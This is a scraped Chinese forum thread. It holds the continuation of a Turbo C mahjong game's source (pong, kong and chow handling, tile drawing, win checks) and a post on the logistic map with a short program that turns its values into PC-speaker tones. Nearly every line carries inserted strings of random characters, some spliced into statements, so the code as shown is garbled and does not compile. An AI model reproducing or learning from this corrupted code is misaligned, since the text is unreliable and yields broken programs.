' d! G: ]# m, n  E1 f}, t2 l# Y. Q' ]1 |0 C
if(every==8)% @! Z' o1 c% X8 E
{
* L+ C8 j9 l3 ?. c3 }4 M2 mx1=180;
4 {$ v8 Q9 B" ay1=165;
7 g: F" d/ C7 A$ t; XfillRectangle(x1,y1,x1+20,y1+4,0);; o' ]" {8 c( `1 x; `
}' E; D5 F( U. a$ }4 d8 C7 L0 Q5 p; i
if(every==9)
/ N9 t/ H( Z4 `% z4 ]' a  x: h' ]% P{  X* N8 Y8 D( O( `  y
x1=200;0 s8 q1 H+ N& u
y1=165;
2 C' r/ Z& f+ R  P1 A% O+ dfillRectangle(x1,y1,x1+20,y1+4,0);
3 t" `+ L+ w# w7 w- H( [}+ M1 o( t7 T1 {, F5 s& `- E5 Q3 w
if(every==10)- l+ O' Y! C$ ]  K
{' \, L- o! ]  A7 y+ |
x1=220;; c6 p+ J  N# G: W8 e
y1=165;9 s5 n' n9 u: v( V- b/ h5 g% z5 h' }
fillRectangle(x1,y1,x1+20,y1+4,0);; @8 ^1 }$ n! o7 ]1 b2 G. y/ M
}$ t" @$ A& m+ w+ T% h/ d7 k( b
if(every==11)# c9 w9 r1 l* q: s( _- d
{9 F6 K( n* H7 ~' X  G, ~/ r7 ]
x1=240;& d; v* Z, Z2 U& {
y1=165;2 T& E; v9 @4 t
fillRectangle(x1,y1,x1+20,y1+4,0);: y/ e$ u3 a# L/ d
}
5 K5 f  [/ @% e/ G" ~+ Fif(every==12)" ?" o" s# U/ q: x
{! m% i4 q2 X1 m! ?  k* E/ V# @
x1=260;
( |! M6 e: I( H+ [4 by1=165;4 ~( Z' P/ _$ }& a# U
fillRectangle(x1,y1,x1+20,y1+4,0);
8 F1 [0 E) {0 d0 D}. ]; s4 b& M  n" w4 u) V

) [. p4 h. I  _+ g" h! x5 Vzz=0;
# s7 Q) Q7 f3 c8 i) X: C" bevery++;
3 k" g& e, G, z6 q; nz=z+20;! r* K; S+ N& I+ `9 |" i, x
}
  d. q$ g. r# v& f( }# eshowbmp(every);
) \2 n' c7 K4 g$ `; V7 Zkey=keyy;
9 E1 g5 e1 }7 k6 j5 dif(keyy==ENTER)! l0 `/ ?2 _. \% s
{  R8 x9 D3 [/ _1 O; g  o
rgzn(every); /*********************/
- |4 \3 h* r) c* l0 D$ [' Rif(sing==1) /*如果可以乓,做相应的处理*/6 s" S) ~+ b# q+ H% B
{
# ~$ F0 V+ d# J% o. G! Vkkk=0;* K" o3 y3 }3 T+ u- P( O: F- _
kkkk=0;
4 e( i% Z1 L- P' ^while(kkk&lt;=computer.m)$ I% |& _& c: t- n. s/ a- v
{$ `& G* E& l  |, ~$ m( p# u
if(computer.pp[kkk].p!=1). |" L9 M6 v+ W( o5 E0 q) v
{% A6 k8 C# v& P& K7 ~
comp.pp[kkkk].k=computer.pp[kkk].k;* m) n, t: g% P! {
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
# |8 e6 w( p" xcomp.pp[kkkk].number=computer.pp[kkk].number;. l* g( ]6 {5 ~4 v* Q* m
kkkk++;: s7 J" v5 B( S
}
9 j5 I, K+ a3 |' B1 C% e% U" Oelse
8 A8 d# k2 Z" H" r! A{
- Y) ?  q: U  A7 [0 N# c0 `9 Dm[computer.pp[kkk].number].data1=1;/ L+ B( ~' E5 L/ T
dwei=computer.pp[kkk].number;# ^# u% x  w6 `: Z! z
computer.pp[kkk].p=0;
0 _/ p. R6 J& e! t4 g}
% Y' I! q& u5 k: e9 I. k; lkkk++;
5 `7 ~7 ^) h( p; l6 N' N}
2 r, N& I0 p" |) m' Bll=0;0 K# v1 g, W/ ~) o8 x# Q( T, m
* j  D  x: D! }
while(ll&lt;3)! L: A0 w) R' T" F
{ zl=zl+20;, W1 B( T6 ~; I) Y
bmpp(dwei); /*显示乓的牌*/2 b0 g3 Y0 ~% U# ^  q+ T
ll++;
  m  j: r- X4 T: Y}
9 N1 U7 E  E* c- R3 E. q
+ v; C# b1 F; z( y4 @; izl=zl+9600-60;* o4 O. @4 F: p& ?
kkk=0;8 z0 X; R) |# ]$ ^0 X: K7 a4 i( ?9 U( @
computer.m=computer.m-2;2 Q. N, f1 h4 M6 i% L$ w$ H
while(kkk&lt;=computer.m)% V+ T) c# t1 H% {% ?! ?( l/ |  e
{+ d& W, I5 H$ Y0 C( t' q; [
computer.pp[kkk].k=comp.pp[kkk].k;* l: r5 b8 q. w- E& D8 Z2 o+ E
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;0 b$ r: o# d% g1 g
computer.pp[kkk].number=comp.pp[kkk].number;. {: B/ I/ s# u% J
kkk++;
: _0 [# K! m: L- P# w. e, A5 `}
1 P0 K+ f$ o  K2 o7 Vll=0;
/ }: W; `! K) Ytemp=random(computer.m); /*出牌等待完善*/
, M! F7 h$ c  M" V5 Rzyy=zyy+9280+20;1 N' Y% S8 |/ j- t1 [$ |
showcbmp(temp);
* c$ P. z2 b# T7 b4 {zyy=zyy-9280;, E$ ?  s* f- P. ]# D: s8 Y6 {& v
/*****/+ @* C! B2 q9 q9 w/ M( f2 p& a
rgznme(temp); % P3 J3 a! Q9 U" i6 t$ z6 M
panduan();
" a/ I1 {8 D: I/ }7 Eif(me.m==0)
. [8 F' ]0 V' H* O$ t2 [if(second==1 &amp;&amp; threes==0)
3 y6 G* E) r$ l6 k$ r; H0 Pprintf("you win!");' P" `0 E- j# }
if(me.m==3)+ F" J. K/ t7 |1 b3 N1 R
if(second==1 &amp;&amp; threes==1)5 C3 Y9 O) I) ^2 ?6 {; P
printf("you win!");$ b1 h1 s9 i+ o3 e
if(me.m==6)
# d# ^/ a$ D1 F4 P" Pif(second==1 &amp;&amp; threes==2)# N) B0 C% C+ H1 C- U. j
printf("you win!");
% b, O( k4 Y9 v  y; |$ @if(me.m==9)' v; f- S# M% u; I: I
if(second==1 &amp;&amp; threes==3)* t4 ^( N7 X, p6 T. q) |/ \
printf("you win!");
+ n" b3 X( d; r' R: Dif(me.m==12)0 O/ M$ K. C$ k5 G/ o
if(second==1 &amp;&amp; threes==4)
( J- W2 n# Y" B. y. Mprintf("you win!");0 b! a; q# D" P" A
4 B8 o+ n3 G8 |  d
kkk=0;1 N% \) p2 @: I& l/ f" H
kkkk=0;$ @5 u% i% t" f( L
while(kkk&lt;=computer.m)) a' S, N. ~1 A( k: i5 n' e
{
: n5 D9 }4 f, i, x# yif(kkk!=temp): w- v% q. t* L& [; K: L
{
9 n' {5 }; C0 a& r+ I$ Z: t* o* Vcomp.pp[kkkk].k=computer.pp[kkk].k;8 y% i; B& A" \  g% r% n% A3 ~0 O
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
( Y8 S! p( m! O; b0 ecomp.pp[kkkk].number=computer.pp[kkk].number;
+ Z0 h& U1 k5 I: D3 L% y8 Tkkkk++;
6 Z% v8 ?) s, B, z( z0 U! j1 b}
7 R6 |" Y: Z3 A6 l; Belse8 Z" G: b! v6 D/ L9 l- ~
m[computer.pp[kkk].number].data1=1;- I+ u# c) W' q6 _8 C$ z
kkk++;
. W4 c1 ?) W7 U! `}5 S1 P8 b' N1 y& t' [. C
kkk=0;
' z5 N" a! r" B* j; Z0 ]$ Wcomputer.m=computer.m-1;
! F- w4 `$ L- {3 kwhile(kkk&lt;=computer.m)
, ^# Y& I3 O! M$ |1 j3 D: V  l{
( I. k1 j0 b5 p" `* tcomputer.pp[kkk].k=comp.pp[kkk].k;6 k$ q) O6 v4 u. [' a
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
( Z+ j, \+ V. r7 S  Scomputer.pp[kkk].number=comp.pp[kkk].number;* v# W* m9 B% u* ^: ~) |# `  @3 p, @
kkk++;
& [, E4 e0 s2 |, Z& ]( G' ^}+ H% x9 a" e7 B- Y) A9 H& C
fillRectangle(0,0,320,30,0);8 j/ G/ {  a: t/ u/ A7 W# v
n=computer.m;' u& g$ T- D  Y' O" ]* `
ll=0;
, U6 N$ F! E3 \5 n* U$ K2 Uzy=0;# y' Q1 R+ \' n0 v+ W
while(ll&lt;=n)9 D( s: w% @! Z+ e- n  d
{
- w" F$ Z7 u- V2 |. Czy=zy+20;
% }) ]8 y6 T* O) `, N; z2 f, Hshowybmp(ll);
  A' B0 Q  o6 r: Ell++;9 X5 `* a+ D0 S* v/ T  R
}
, C: r+ Z3 _4 k2 hll=0;
( [% `; l1 K$ u  c, A, E# igetch();. |9 e0 G0 v- s. q2 t& F2 Y
sing=0;
3 Y3 j4 j; C1 I. z" }( f/ E1 ysing1=1;
  l6 U2 ]! y: ^5 _4 R; h/ Z' T4 b}
# m# A/ ?* |2 k# u$ r  c3 r
5 t$ n" f, O6 y# uif(sing==2) /*如果可以杠的做相应处理*/6 Y* m: B+ E$ H& H" v  Q5 y+ O
{1 a' t- ^0 ~% L: Z, F
kkk=0;2 D* y: A( L$ X3 u
kkkk=0;
+ ]+ w! g3 y$ o2 N% K3 pwhile(kkk&lt;=computer.m)9 m7 J, k6 T/ L7 \
{. b* I# _8 ~. ?3 o6 l2 g
if(computer.pp[kkk].g!=1)
. \' g' c4 }" J9 w# v{3 j* J1 ?$ J7 K2 r0 ?" w, z
comp.pp[kkkk].k=computer.pp[kkk].k;
, X0 M3 j, o5 q* k6 ?% E8 L) x. ~comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
8 v. x8 l# |( G6 ]* `; d9 ~' lcomp.pp[kkkk].number=computer.pp[kkk].number;3 ]$ @$ N8 H7 ~. M6 \
kkkk++;* ?. C+ ?* C3 z9 `! c0 ^/ H
}1 g$ ]  `, P% s5 k2 s; Z
else
2 B3 v' g; m7 a- N( L{8 `" y1 d) f( ^( u& E+ M
m[computer.pp[kkk].number].data1=1;7 e7 M2 K% z# c2 _" k2 S2 a
dweig=computer.pp[kkk].number;, N2 D& d6 p8 a% g
computer.pp[kkk].g=0;& m# N4 Z' v# G8 j+ w5 p( D" A
}
+ w4 v3 z  |% n- Pkkk++;
( h! O, |' @+ S# R' R9 E2 I- [}8 z% N6 Y8 R6 f" G6 `
ll=0;
% k2 z! C% I  F. x0 I+ g
* G* O3 u; w# h" swhile(ll&lt;=3)
7 D" i# D' e" c4 N{ zl=zl+20;1 V. O2 E* y: x
bmpp(dweig); /*显示杠的牌*/
1 r2 d( W$ @& [3 s- Hll++;
( A, O) T7 @+ u, j- I$ N! q1 s}
& z0 S8 v/ ~% f8 {* a4 a+ A- hzl=zl+9600-60;
8 b  ~, R/ c& m7 b7 H! Ckkk=0;3 k0 A& M1 f$ h, G1 ]3 x
computer.m=computer.m-3;6 w) D! G& U: l$ r# b: E0 g1 |/ p8 `
while(kkk&lt;=computer.m)
+ a6 @: Y8 y0 [$ @7 q{
' K2 F' T( P( |; h8 [5 K2 `& }. ]computer.pp[kkk].k=comp.pp[kkk].k;
6 j5 G+ H, g+ n1 k% Dcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
. E, r$ O" \$ S" tcomputer.pp[kkk].number=comp.pp[kkk].number;! C4 }- E0 J8 |
kkk++;
( T! H+ a' D* ]1 Y2 E% y4 P+ s}
* I6 A' Z# R  p# fkk=0;
' D% U$ a6 o  p+ [computer.m++; /*加一个牌的容量*/
5 v+ u( I) z  m1 B  Dwhile(kk!=1)* c1 q/ X* }8 J/ d
{
9 f7 e% D7 h5 |temp=random(136); /*出牌*/
# C5 ]5 N6 e1 R# Jif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)1 s* [+ g' G9 }+ E2 }2 X1 a
{( c* Z% X2 t8 t
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
9 g- ^8 }8 {. A5 fcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/1 }" N2 U' I3 }: a& M7 \
computer.pp[computer.m].number=temp; /*第几张,用来排序*/+ H! g' Q- i: i. |  M* ~: E. S: Z
m[temp].data2=2; /*判断牌是谁的,2为电脑*/; L) R$ @9 z: b6 K* u) Z
kk=1;$ x8 T+ M2 L# h* w- O# A
}& |0 k* D5 E3 J9 m) I( H  t
}3 }: x* I4 q2 S9 j9 n8 }  g% ~
comlipai();
' N8 Y/ l3 R3 |0 T6 {2 |7 htemp=random(computer.m); /*出牌,等待完善*/
8 l% H7 ~, x/ O: U; @! q" ^zyy=zyy+9280+20;7 Y! o* p) r4 G8 j
showcbmp(temp);
$ T/ ~( j+ h( I& C. _zyy=zyy-9280;! s# e( N0 ^4 I  a# D
/*****/' R; Y+ T: L2 u6 A
rgznme(temp);
& P2 F( l; ?- T* E! `1 npanduan();
+ u! ~5 h+ o# E# u0 S1 @( qif(me.m==0)/ Q: p: {% h( S, |% `+ |. S$ {
if(second==1 &amp;&amp; threes==0)
" s' e" H: p# H. n! T$ vprintf("you win!");
! K$ a, l4 O% Y/ uif(me.m==3)) i4 C9 W. L" t+ z/ |
if(second==1 &amp;&amp; threes==1)
2 f6 a- f4 C; c4 K( [+ vprintf("you win!");) S( L' T; L% S
if(me.m==6)9 `. ?: ?, a& Z2 W* ~
if(second==1 &amp;&amp; threes==2)
- D1 A7 P/ V" F. ]9 x* sprintf("you win!");
4 G3 g2 g/ n7 Y' M6 nif(me.m==9)
7 e$ [! O/ z7 p$ V5 yif(second==1 &amp;&amp; threes==3)3 n7 m# t1 O/ p0 }. b2 b4 J0 L) |
printf("you win!");' o8 _! t$ M# N9 I5 m+ n! f+ n
if(me.m==12)
3 t" v1 ^  S# v' q. J& uif(second==1 &amp;&amp; threes==4)/ X; k' v  Q5 H! t* h2 p$ X
printf("you win!");( g* w7 ~6 W4 c9 y

7 |7 g, z7 n, r& R+ P8 Jkkk=0;
5 M5 z) S/ L5 i& nkkkk=0;, O' I% h3 M& O/ ]
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/  L% g: Y8 f& o' |) D* b0 d
{( L9 p! v) v; ~  _( u
if(kkk!=temp)
  x7 x1 P/ b! a+ ~& n, ~{; e: x& x( j, s: H* v
comp.pp[kkkk].k=computer.pp[kkk].k;
! E9 q3 @' G0 `8 W3 c  f7 Ccomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;* \5 O5 G) u: n! A- j
comp.pp[kkkk].number=computer.pp[kkk].number;( D: f3 u3 }% y& \* A& x
kkkk++;
! g9 V! ~  Y; }6 w  \( N( ?}' ~5 N) V# m/ X0 F
else3 }' t' F/ H% {. }: C7 ^
m[computer.pp[kkk].number].data1=1;) C. e- n1 o! y; s/ ]  ^" i. v0 c
kkk++;# t* z: W/ m; |7 G
}9 j4 H0 }" T& ?0 m
kkk=0;
1 m! W( G' Y( O) m- F; a3 q- n4 x3 acomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/- z2 p  ^1 f, N/ c4 p9 t0 T
while(kkk&lt;=computer.m)
9 z# o# A1 ~( u7 H' [. k- Z{: N% G: h; G$ X' g+ A9 F* X
computer.pp[kkk].k=comp.pp[kkk].k;
1 q% o- c& S9 C- X% Kcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;% A3 f; w1 J: ?% R: R* N, _
computer.pp[kkk].number=comp.pp[kkk].number;: d" m# e0 u) W' h8 W' }$ t
kkk++;
; @7 b( M% ]& c5 b2 C* b) V}
7 q0 A5 Y" _# D- }fillRectangle(0,0,320,30,0);
2 o& C# j4 v- P' Hll=0;' W/ u! h/ V, ^+ B" _$ ~/ e
zy=0;
+ W+ z/ K7 _, ], r, w/ b0 jwhile(ll&lt;=computer.m), f: P" X3 d- Q" L! T1 i
{
) [1 W5 l$ l7 H  {zy=zy+20;% t9 X" C2 G( t& x* Y
showybmp(ll);6 L! K4 D  V5 G+ H( l, {
ll++;3 f/ ?9 P+ ?3 v0 `
}
1 P7 O& u, D+ g2 I+ Dsing=0;& a" V/ j7 q) p9 D( N
sing1=1;$ u& O$ ^$ L; k: U1 T
}
$ a9 n* H0 u# x) Iif(sing==7) /*如果可以吃的,做相应处理*/  `& s+ o4 U' \& _! M9 ?4 w
{ nn=0;
, \. g& m% f2 ?* U& Pkkk=0;
* h  c& y+ k9 Nkkkk=0;
% t# l4 v+ h! c  h  j/ c, Qwhile(kkk&lt;=computer.m)
" @- V! [  q- a6 e, S. f{
4 ^  n; w9 f3 G! G" A" fif(computer.pp[kkk].c!=1)' l% ~! J( P! w2 R
{! a7 }3 |; J  y3 ]( x$ f
comp.pp[kkkk].k=computer.pp[kkk].k;
3 }& C9 P) u7 T6 ocomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;" d' x: t# X: p1 y7 J
comp.pp[kkkk].number=computer.pp[kkk].number;
& X8 @# ~; X7 _/ R0 Q: }$ W! t( okkkk++;% Z  w1 B: T6 A4 ~% i* w2 P
}; A: q& _$ Z9 i5 l
else0 N4 D! b/ f+ p! ~# c! a
{0 m2 Y  Q. q' \7 G( s$ M+ r
m[computer.pp[kkk].number].data1=1;
3 {; g/ p+ r, G' S* Vdw[nn++]=computer.pp[kkk].number;( @# E+ \9 P& s* N5 h1 g6 y# \2 W
computer.pp[kkk].c=0;
! Y* G/ Q' P- r5 E# _2 _/ O}, o2 q) R0 X+ G
kkk++;, [( a: f2 ^  q
}& N! B- _, ]1 D9 n  g, Z
& E! Y) v  Z7 V0 e" ^5 v) O
if(me.pp[every].number&lt;dw[0]). f. C# Z2 I- k) `# D
{6 |  f. a# z. b1 L8 J$ b
dw[2]=dw[1];
5 `, S/ d% g1 t! Y2 r# Rdw[1]=dw[0];" S& u: q8 H: B: F8 D, W7 K) Y
dw[0]=me.pp[every].number;
' e+ F% p! W, M: {. Y8 q}
" B$ _  |: C2 t; kif(me.pp[every].number&gt;dw[1])
2 P+ N, X1 F& J" N5 `; W1 W{0 U" _% x7 ~+ X5 `+ S5 @' ?+ x
dw[2]=me.pp[every].number;+ Q5 i$ P% J' J' p2 V1 E1 T
}
+ f. B6 V8 k2 A5 t4 L! uif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
& j" p* d% h1 L1 w( Z; A7 W{0 q+ e! f- K  v* o
dw[2]=dw[1];, m6 }4 y* g4 u0 }! B
dw[1]=me.pp[every].number;8 g6 A$ l0 Q' R! N) m2 a
}
2 |( n4 h( U% E( V2 C1 vnn=0;
4 [: F  X' w. S; l9 O# xwhile(nn&lt;3)
; j7 \4 R1 Y9 i9 y9 q# I1 m{ zl=zl+20;
1 b9 @) ~1 ~8 i- h! g; Ebmpp(dw[nn]); /*显示吃的牌*/
1 C. n/ R5 q8 J' u; qnn++;: Z5 ]: U$ z- O" K  {
}
9 |. l( M4 F- Z: n5 G6 w1 t6 _zl=zl+9600-60;- `; [( J( W0 K' X) Q
kkk=0;/ [6 ~" |, o5 b" i
computer.m=computer.m-2;: C$ R* ^2 V0 g/ v
while(kkk&lt;=computer.m)
- S7 j% U+ |* c{) w- T- {8 s3 L( p% M. n, Y, D
computer.pp[kkk].k=comp.pp[kkk].k;
8 ?. L  k/ h5 B" Z! H5 wcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;" D) V. D1 D/ l6 S3 |$ r  A
computer.pp[kkk].number=comp.pp[kkk].number;
2 k, K/ @7 q, y* ykkk++;5 ?# m7 q) @6 b; P
}
; z7 i% y6 ?0 Z! A: z9 qll=0;# J9 f. t) U, M: u) a
temp=random(computer.m); /*出牌等待完善*/
# Z* E4 K- p. J8 Lzyy=zyy+9280+20;
' Z& J; \6 |) ~* X( Y+ sshowcbmp(temp);
, U6 ]$ v6 C; `! O6 Z, mzyy=zyy-9280;% P" q9 v$ |7 Z- S( G
/*****/& T5 {: R$ x7 L  A1 M" P
rgznme(temp);- f! U) `2 X3 h4 Q1 j+ K4 }) U
panduan();) e: v# |$ P- y
if(me.m==0)
- j: S; e+ x8 b' N$ B$ aif(second==1 &amp;&amp; threes==0)( |. e7 _) n1 p1 `0 l9 p$ C! D" C
printf("you win!");3 A$ v! N$ Q3 k/ Z8 M1 C
if(me.m==3)7 S6 @5 W! Y' B: P4 Z% m
if(second==1 &amp;&amp; threes==1)- c6 o' Q1 _8 c
printf("you win!");3 s; s" P: g6 V5 |3 d; h* B& v
if(me.m==6)
. _) k' D1 f0 F8 kif(second==1 &amp;&amp; threes==2)4 X# s3 V& e1 s' x- S3 R
printf("you win!");) E; Z& }7 f5 }2 s& w
if(me.m==9)3 n  ]! O. a3 S+ C
if(second==1 &amp;&amp; threes==3)
/ I, T3 ?# R+ B3 C0 |printf("you win!");
1 {+ B! v. K* q; e/ o$ v* M( H& uif(me.m==12)  C) }5 _) u' |9 t4 ^
if(second==1 &amp;&amp; threes==4)+ N4 p/ N" Y0 O1 A5 `; I: _, S1 e
printf("you win!");
& L# q+ Y: L$ Z- c7 I% h, G0 G7 n& B+ q& H
kkk=0;
  E2 {! E, K) \7 w/ dkkkk=0;
  c% |8 L; |$ D8 {while(kkk&lt;=computer.m)* u  g) R/ F1 c( D
{9 b5 r. o7 }) w- _" }+ C
if(kkk!=temp)  I6 U. |! z* h* \
{  f( \: }4 J& L& J
comp.pp[kkkk].k=computer.pp[kkk].k;
% x9 w" }/ K" T. U+ ycomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;# ~8 P- |% W# h
comp.pp[kkkk].number=computer.pp[kkk].number;
7 \" [6 @/ }- \2 Y4 g( Nkkkk++;
9 k; W: i8 G0 a9 P& E' B# B! W9 U}9 ^% |% x" f# c. P3 l
else
) o; \/ P7 x& N  \4 Y9 P3 b7 Km[computer.pp[kkk].number].data1=1;
9 |# I8 B, s9 R9 m+ n6 Mkkk++;! @: u: I- |5 L' D- v$ R. w. d4 t
}
3 S; y; w9 l8 \( n$ J% q9 h' nkkk=0;
+ r3 |$ n' T! A; P% m# t% lcomputer.m=computer.m-1;' ~! R! `4 Q7 E: Y4 @* ^. d
while(kkk&lt;=computer.m) 7 {/ s" K1 f4 t2 u
{; D. |0 F- u: I5 f3 P
computer.pp[kkk].k=comp.pp[kkk].k;, Q2 a& H1 ]% c+ j! ~% w
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
: B. B6 ]6 v' z; ~1 N; Ccomputer.pp[kkk].number=comp.pp[kkk].number;
5 z9 R; G2 k+ L* D; {0 ?kkk++;4 K% B8 Z6 L: r5 ~1 Y
}- g& y, X# ^3 w( R0 b3 P8 B& }
fillRectangle(0,0,320,30,0);
2 m( {& I, D9 Gn=computer.m;
: Z* u  n/ l/ f7 }$ Hll=0;6 p$ k. Y. V- k
zy=0;5 F, ?) y3 e$ }
while(ll&lt;=n)
$ U( ]- v9 X) Q0 G9 b{
/ E$ v% I2 F' B, K5 s$ ^! D8 `zy=zy+20;" }; h: t& q$ N& X
showybmp(ll);
$ ~! d# n' {3 U  M+ Fll++;, q8 y: n- W- ]/ @
}
( o  z* ?8 j1 }3 q3 f; Y, o* c
3 B& y' l4 E# w% P) m! Lgetch();" y. L) n! b4 E1 G% A
sing=0;
/ u0 d* c& l  n) e. o% N5 hsing1=1;0 m% b* u( ^& s) @
}
* J! i; R; p& q: K( W1 y, d6 k% iif(sing==0) /*如果没有可以乓或杠的就标明牌无用*/
' V/ A9 w; o( R# e% F3 H' B9 z2 U{7 A' H1 q% b3 m) s% j( M# b  M' V
kk=0;
3 Q; F1 G/ u0 N6 M. M+ @4 e4 `& r6 Qh=me.pp[every].number;  ~" k# [  K0 w6 ?8 F' x7 q
m[h].data1=1; /*此牌已经无用*/$ S/ C. Y* n! B
if(sing1!=1)
8 O7 {* v, M1 f& J: w4 @{
" V: j, y/ ^, v- s5 J- \& @5 Mzyy=zyy+9280+20;' }3 L, C) c* z2 C* n
showbmpd(every);) }5 Y, C; v0 x8 C3 C
zyy=zyy-9280;
8 G; v7 |( o  W; f* m! Y% R}2 {$ R6 z# T6 f& Q
while(kk!=1)! G) m3 s( c# j) N9 \# t+ _
{' Y5 H- z- n/ j
temp=random(136);
% I; V4 Y. Z/ r2 _& dif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
- B* B! |3 p% c: I7 ^2 O; p: {1 X{
2 F! P0 Z& D4 \me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
8 i  V' s( [: v, q5 i8 Yme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
" n8 s$ l( B& S4 g. ^; `3 `. zme.pp[every].number=temp; /*第几张,用来排序*/
- O0 c1 c4 q: e5 s1 _m[temp].data2=1; /*判断牌是谁的*/7 G# x% ?0 \" M8 X4 B  r
kk=1;
4 \, t- C) P9 B+ u}
6 H& G  ~% Y0 ~if(kk==0) /*判断如果又选择了,就从新再选*/7 v$ F2 U1 O  I  _: x# |8 ~8 u
kk=0;# v0 p) E" `5 X! L6 f: p
}
1 e) Q/ ^: G9 [9 e- _}
* E; J; k6 Y, P: k9 o, Ssing=0;
2 [( l" a# U( m7 A3 ]5 fsing1=0;1 E% _" Q* m, `) N2 |& C
melipai();; }: Z8 N0 n8 T, H+ J, R1 E+ y
n=13;
7 P" j" q" K# gz1=54400;
" m' D7 j2 X6 e+ Zl=0;* o% U4 r; ], d& C, ^
g=z;' a, q3 K4 N' _2 S! [  |
while(l&lt;n)
2 v7 X) N8 `" Z4 l% }; z  x{ z=0;
( }: Y: S5 ?& E9 @5 n& [8 F' P; ]z1=z1+20;
& e; c% ]  e# [showbmp(l);( y# E! y: r% A  g4 X/ e
l++;3 t) e/ l  x8 C; [; C$ u! ^7 C
}
' [7 h+ F( U  s' X+ B2 \z1=0;
* w. u9 {( X; W' M! oz=g;* @" Y7 R1 D) b8 H! u. F
}
3 d5 f, o4 f2 s8 K" W: Ykeyy=0;
6 K( n* h9 a' r: f# {}
# }$ h/ ?& @: e
' i. I8 k" \$ h/ dgetch();; J, z8 x* U5 A  [0 G+ n
OUTVGA;3 ?1 v4 w+ N6 w7 }0 W% P0 d! T% E
}
. [5 J9 k" |+ o1 w</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])9 F0 n% [' p9 p* b+ j
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
! G# u/ G! b. L/ P$ ?  a
$ V1 f/ @2 n) ?  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
% n3 _: C, A; B" N* p  <FONT color=#009900>#include <DOS.H>4 ^) |- L' v% q! J+ V3 ?6 r4 K
  #include <STDIO.H>
$ c  h# a; N- V; d  main(){
6 v2 ]+ _' Y; Z7 T) h% a9 h; `  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
6 l9 I$ i# U: w* F0 ?+ v6 A* ?  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/3 B- x0 D6 a( F2 f. @9 t( s
  /*i,j用于循环记数*/9 Y- Z: U2 R  k3 p8 J; p0 {
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*// l  v. A. z2 i
  fDis=fMax-fMin;1 O0 l6 n& @$ D
  for(j=1;;j++){, S" W* a( s4 n5 T8 E) P
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/
4 Z2 ^* B! W8 F  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/' ]% S- R1 ~" g! }7 X
  scanf("%f",&k);. A$ ^' b% L$ O
  if (k==0) break;# p; L) x2 O7 e( k8 r! i2 v' ^) Y+ |
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/+ G  |7 k) y0 ~6 l; }& k, x' t
  x=k*x*(1-x);
  R+ r1 K! Z8 r! N  for (i=1;i&lt;100;i++){
+ \3 \8 L& [+ G3 e  x=k*x*(1-x); /*计算x的值*/. _$ \% g1 }+ W( X& [5 j
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/' ?0 p$ ?0 P! e$ W+ m3 d6 u
  delay(1000); }+ X; b1 ]9 s* ]" j
  nosound(); }}
8 W5 P/ @4 J! M4 W. r6 P+ f  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。3 O! I% ]9 D1 U% I
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

